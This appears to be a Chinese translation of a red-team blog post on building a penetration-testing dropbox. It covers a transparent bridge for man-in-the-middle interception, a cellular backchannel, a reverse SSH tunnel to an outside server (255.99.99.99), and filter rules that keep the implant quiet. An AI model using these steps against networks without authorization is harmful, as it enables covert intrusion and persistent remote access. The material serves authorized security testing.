渗透测试Dropbox增强版
Joff Thyer//
许多读者可能已经阅读过Beau Bullock关于渗透测试dropbox的优秀博客文章。Beau提供了使用不同平台构建基础dropbox平台的详细指导。本文选择运行KALI(ARM)版的ODroid-C2平台,并在此基础上扩展重要功能。建议先阅读Beau的文章作为基础。
Beau的方案部署了临时接入点用于攻击者通信,但在多租户/多层建筑场景中,802.11可能无法覆盖。本文的改进方案包括:
- 增加两个以太网网卡实现透明桥接中间人(MiTM)能力
- 使用蜂窝调制解调器替代802.11 WiFi进行反向通道通信
透明桥接配置
透明桥接在红队场景中极为实用。只要dropbox配备电池,测试人员可快速将其部署在服务器/桌面系统与以太网墙插之间,并通过蜂窝网络建立反向SSH连接。
桥接解决方案需满足:
- 转发ARP请求和0x0800类型IP以太网帧
- 转发0x888E类型EAPOL帧(用于捕获非MACSEC的802.1X帧)
- 禁用生成树协议
配置步骤:
1
2
3
4
5
6
7
8
9
|
# 安装桥接工具
apt-get update
apt-get install bridge-utils
# 创建桥接接口
brctl addbr br0
brctl addif br0 eth1
brctl addif br0 eth2
brctl stp br0 off
|
蜂窝调制解调器配置
需准备以下软件包:
1
|
apt-get install ppp wvdial usb-modeswitch
|
关键配置文件示例:
/etc/wvdial.conf
1
2
3
4
5
6
7
8
9
10
11
12
|
[Dialer ting]
Init3 = AT+CGDCONT=1,"IP","wholesale"
Phone = *99#
IDSN = 0
Baud = 460800
Modem Type = Analog Modem
Stupid Mode = 1
Username = {blank}
Modem = /dev/ttyUSB0
Password = {blank}
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2
|
/etc/usb_modeswitch.conf
1
2
3
4
|
DisableSwitching=0
DefaultVendor = 0x12d1
DefaultProduct = 0x1506
MessageContent = 55534243000000000000000000000011060000000000000000000000000000
|
通过初始化脚本实现自动拨号:
1
|
wvdial ting >>/var/log/wvdial.log 2>&1 &
|
反向SSH隧道
生成ECDSA密钥并建立隧道:
1
2
3
4
5
6
7
8
|
# 生成密钥
ssh-keygen -t ecdsa
# 建立反向隧道
ssh root@255.99.99.99 -o TCPKeepAlive=yes -NTfR 2222:localhost:22
# 远程连接dropbox
ssh -p 2222 root@localhost
|
建议在/etc/ppp/ip-up.d
目录放置自动启动脚本,并在服务端设置超时参数:
1
2
|
ClientAliveInterval 5
ClientAliveCountMax 3
|
数据包过滤与转发
安装过滤工具:
1
|
apt-get install arptables ebtables
|
网络接口配置(/etc/network/interfaces):
1
2
3
4
5
6
7
8
9
|
auto br0
iface br0 inet static
address 169.254.1.1
netmask 255.255.255.0
bridge_ports eth1 eth2
pre-up arptables -A OUTPUT -j DROP
pre-up iptables -A OUTPUT -o br0 -j DROP
pre-up ebtables -A OUTPUT -o br0 -d Multicast -j DROP
post-up echo 8 >/sys/class/net/br0/bridge/group_fwd_mask
|
电源预算注意事项
实测功率消耗:
- 完整系统:4700毫瓦
- 移除蜂窝 modem:3000毫瓦
- 移除所有网卡:2700毫瓦
建议使用至少2A(10000毫瓦)的电池供电,否则USB设备可能出现异常。
技术组件功率参考:
- 蜂窝调制解调器:1700毫瓦
- USB网卡:150毫瓦/个
- 802.11网卡:300-900毫瓦(预估)
通过物理公式验证:P(瓦特)= 电压 × 电流(5V × 1A = 5000毫瓦)